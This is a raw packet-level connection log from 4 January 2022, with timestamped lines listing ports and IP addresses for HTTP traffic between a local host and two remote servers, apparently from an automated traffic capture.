Jan 4, 2022 19:33:59.863720894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863742113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863763094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863765001 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863837004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863837957 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863843918 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863867044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863890886 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863910913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863930941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863948107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863950968 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863962889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863971949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863982916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863991976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864001036 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864007950 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864012957 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864022970 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864033937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864048958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864053965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864063025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864074945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864088058 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864095926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864111900 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864118099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864126921 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864137888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864151955 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864159107 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864171982 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864178896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864198923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864213943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864217997 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864224911 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864229918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864249945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864264011 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864272118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864290953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864300013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864311934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864329100 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864337921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864348888 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864366055 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864375114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864387989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864392996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864407063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864415884 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864428043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864439964 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864449024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864458084 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864469051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864479065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864490986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864501953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864511013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864531994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864533901 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864550114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864554882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864576101 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864584923 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864595890 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864618063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864618063 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864629030 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864636898 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864651918 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864656925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864675999 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864679098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864698887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864711046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864718914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864738941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864758968 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864770889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864778996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864778996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864797115 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864799023 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864819050 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.864897966 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864907980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.864916086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.865525007 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.868829966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.868880987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.868911982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.868931055 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869024038 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869048119 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869071007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869093895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869102001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869116068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869138002 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869146109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869160891 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869174957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869184971 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869204044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869208097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869220972 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869230032 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869245052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869252920 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869265079 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869282961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869296074 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869306087 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869309902 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869329929 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869333029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869352102 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869357109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869380951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869383097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869404078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869404078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869426012 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869426966 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869443893 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869460106 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869462013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869481087 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869487047 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869501114 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869503975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869520903 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869522095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869539976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869548082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869563103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869581938 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869585991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869605064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869607925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869632006 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869636059 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869654894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869656086 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869673014 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869677067 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869697094 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869699955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869721889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869723082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869745016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869746923 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869761944 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869769096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869786024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869791031 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869813919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869815111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869833946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869836092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869853020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869864941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.869900942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.869951963 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.888873100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.888942003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889022112 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889573097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889616966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889636993 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889659882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889672041 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889699936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889704943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889740944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889741898 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889797926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889801025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889863014 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889866114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889915943 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889918089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889955044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.889961958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.889997005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890000105 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890038013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890042067 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890074968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890078068 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890113115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890115023 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890151978 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890161991 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890188932 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890194893 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890228987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890238047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890266895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890271902 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890309095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890312910 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890353918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890357018 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890393019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890397072 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890430927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890440941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890470028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890480042 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890507936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890516996 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890547037 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890563011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890585899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890590906 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890625000 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890638113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890667915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890677929 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890705109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890716076 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890743971 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890748024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890782118 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890784979 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890819073 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890827894 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890856981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890866995 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890894890 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890901089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890933990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890949965 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.890974045 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.890979052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891011953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891021013 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891051054 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891056061 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891089916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891103029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891128063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891160011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891176939 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891199112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891231060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891253948 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891269922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891293049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891302109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891330004 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891340971 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891367912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891371965 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891407013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891412020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891447067 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891449928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891485929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891490936 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891522884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891531944 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891561985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891566038 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891599894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891612053 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891639948 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891649008 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891678095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891684055 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891716957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891726017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891756058 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891761065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891794920 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891797066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891832113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891838074 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891870975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891875982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891908884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891913891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891946077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891954899 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.891983986 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.891989946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892021894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892026901 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892061949 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892066956 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892101049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892112017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892137051 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892147064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892175913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892185926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892215014 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892222881 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892252922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892261982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892291069 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892296076 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892328978 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892334938 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892368078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892373085 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892407894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892417908 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892445087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892455101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892484903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892488003 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892522097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892532110 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892559052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892569065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892596006 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892606974 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892636061 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.892640114 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.892683029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.909054041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.909097910 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.909125090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.909149885 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.909214020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.909264088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912550926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912578106 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912600994 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912627935 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912645102 CET	80	49898	116.202.186.120	192.168.2.5
